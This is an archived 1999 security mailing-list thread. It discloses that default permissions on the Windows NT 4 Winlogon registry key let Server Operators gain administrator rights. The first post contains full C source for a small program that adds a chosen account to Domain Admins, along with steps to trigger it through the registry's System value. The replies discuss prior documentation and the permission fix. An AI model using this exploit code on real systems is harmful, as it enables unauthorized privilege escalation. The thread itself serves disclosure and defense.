GetadmforSops.txt

`Date: Mon, 11 Jan 1999 20:29:40 -0000  
From: mnemonix <[email protected]>  
To: [email protected]  
Subject: Default permissions on Registry key creates a getadmin hole  
  
  
Summary: There is an interesting hole opened up in the winlogon registry key  
on NT 4 that allows elevation of privileges to both local and global  
Administrator level.  
  
Details: The following registry key permissions are set to "Server  
perator" - Special Access. Part of this access gives them the "Set Value"  
permission.  
  
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon  
  
One of the pre-existing values for this key is "System:REG_SZ:lsass.exe". A  
server operator may change this value to what they wish in an effort to gain  
Admin rights. Anything they place here will be run with System privileges.  
However, there are a couple of problems:  
Firstly any exectuable ran from here in non-interactive so there is no point  
in running usrmgr.exe or cmd.exe  
Secondly it seems that any executeable run from here with arguments fails eg  
"cmd.exe /c copy file.ext newfile.ext"  
Thirdly it seems that the SAM is locked Read-Only temporarily after the SAS  
keystroke is entered (Ctrl+Alt+Del)  
  
What is needed then is an executable that requires no arguments, that pauses  
long enough for the SAM to become writable again and gives the attacker  
local and global Admin rights. The following code meets those requirements.  
Replace "acc_name" with the relevant account name.  
  
-----------------------8<-------------------------------------------------  
  
/* GetadmforSops.exe - David Litchfield 11 Jan 1999 */  
/* Compile with eg Visual C++ and link with netapi32.lib */  
  
#define UNICODE  
#include <windows.h>  
#include <wchar.h>  
#include <lmaccess.h>  
#include <winbase.h>  
  
int __cdecl wmain (void)  
{  
LPWSTR group = L"Domain Admins";  
LPWSTR acc = L"acc_name";  
  
NET_API_STATUS nas=0;  
  
_sleep(180000);  
if( (nas=NetGroupAddUser(NULL, group, acc)) == 0)  
{  
wprintf(L"Success");  
return 0;  
}  
return 0;  
}  
  
----------------------->8------------------------------------------------  
  
Set the System value to :  
System:REG_SZ:lsass,c:\FULL_PATH_TO\getadmforsops.exe and reboot the system.  
Three minutes later "acc_name" is made a member of the "Domain Admins" group  
wich is also a member of the local Administrators group.  
  
Fix: If you can trust your "Server Operators" then you don't need to do  
much - if you'd prefer to be more safe however remove the "Set Value"  
permission to this key.  
  
This was tested of NT Service pack 3 with hotfixes - though it will almost  
certainly work on NT 4 with SP 4 unless the SP changes the permissions on  
the winlogon registry key.  
  
Cheers  
David Litchfield  
  
http://www.infowar.co.uk/mnemonix/  
  
------------------------------------------------------------------------------  
  
Date: Tue, 12 Jan 1999 08:22:41 -0500  
From: David LeBlanc <[email protected]>  
To: [email protected]  
Subject: Re: Default permissions on Registry key creates a getadmin hole  
  
At 08:29 PM 1/11/99 -0000, mnemonix wrote:  
>Summary: There is an interesting hole opened up in the winlogon registry key  
>on NT 4 that allows elevation of privileges to both local and global  
>Administrator level.  
>  
>Details: The following registry key permissions are set to "Server  
>perator" - Special Access. Part of this access gives them the "Set Value"  
>permission.  
  
>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon  
  
This one has been documented in the ISS scanner (and checked as a  
vulnerability) since the 4.3 release (about 6/97). Note that the same  
issues apply to the scheduler key, as well as the entire  
HKLM\System\CurrentControlSet\Services tree. Also, the 5.6 version of the  
scanner checks for tampering on the System value you mention altering to  
invoke your executable.  
  
Another issue to consider (as noted in the help on this vulnerability) is  
that Server Operators have a very high level of access rights, and  
absolutely must be a trusted user. Server ops normally have the right to  
install drivers, install services, and write any of the operating system  
files. It is best to think of server operators as admins who cannot do any  
account management without promoting themselves. There are so many ways  
for a server operator to take over a system that I don't even want to start  
enumerating them all. In reality, before you go trying to restrict a  
server operator (who also would normally have physical access), you might  
consider whether you trust that person.  
  
Sutton also notes these issues in his NSA paper at www.trustedsystems.com.  
  
  
David LeBlanc  
[email protected]  
  
------------------------------------------------------------------------------  
  
Date: Mon, 11 Jan 1999 19:22:10 -0800  
From: Paul Leach <[email protected]>  
To: [email protected]  
Subject: Re: Default permissions on Registry key creates a getadmin hole  
  
> -----Original Message-----  
> From: mnemonix [mailto:[email protected]]  
> Sent: Monday, January 11, 1999 12:30 PM  
> To: [email protected]  
> Subject: Default permissions on Registry key creates a getadmin hole  
>  
  
Actually, this issue is documented in the whitepaper entitled "Security  
Windows NT Installation", available at this URL:  
http://www.microsoft.com/ntserver/security/exec/overview/Secure_NTInstall.as  
p, which was first published in 1997.  
  
Quoting from it:  
  
"In the environments where members of server operators are not sufficiently  
trusted, it is recommended that security on following keys be changed as  
below:  
  
Registry Key Recommended Permissions  
  
HKEY_LOCAL_MACHINE\Software\Microsoft  
\Windows NT\CurrentVersion\Winlogon CREATOR OWNER: Full Control  
Administrators: Full  
Control  
SYSTEM: Full Control  
Everyone: Read  
"  
  
  
Also, it should be obvious that since Server Operators are allowed to  
install drivers, etc., they can become, with sufficient effort on their  
part, just as powerful as local Administrators. And if they can become  
administrator on a DC, then they can become domain administrators.  
  
Hence, this isn't the same as a getadmin hole that enables an unprivileged  
user to become administrator -- a server operator is already very  
privileged.  
  
Nonetheless it is always useful to be reminded to go back and check our  
installations to make sure that their permission settings are up to snuff.  
  
Paul  
  
`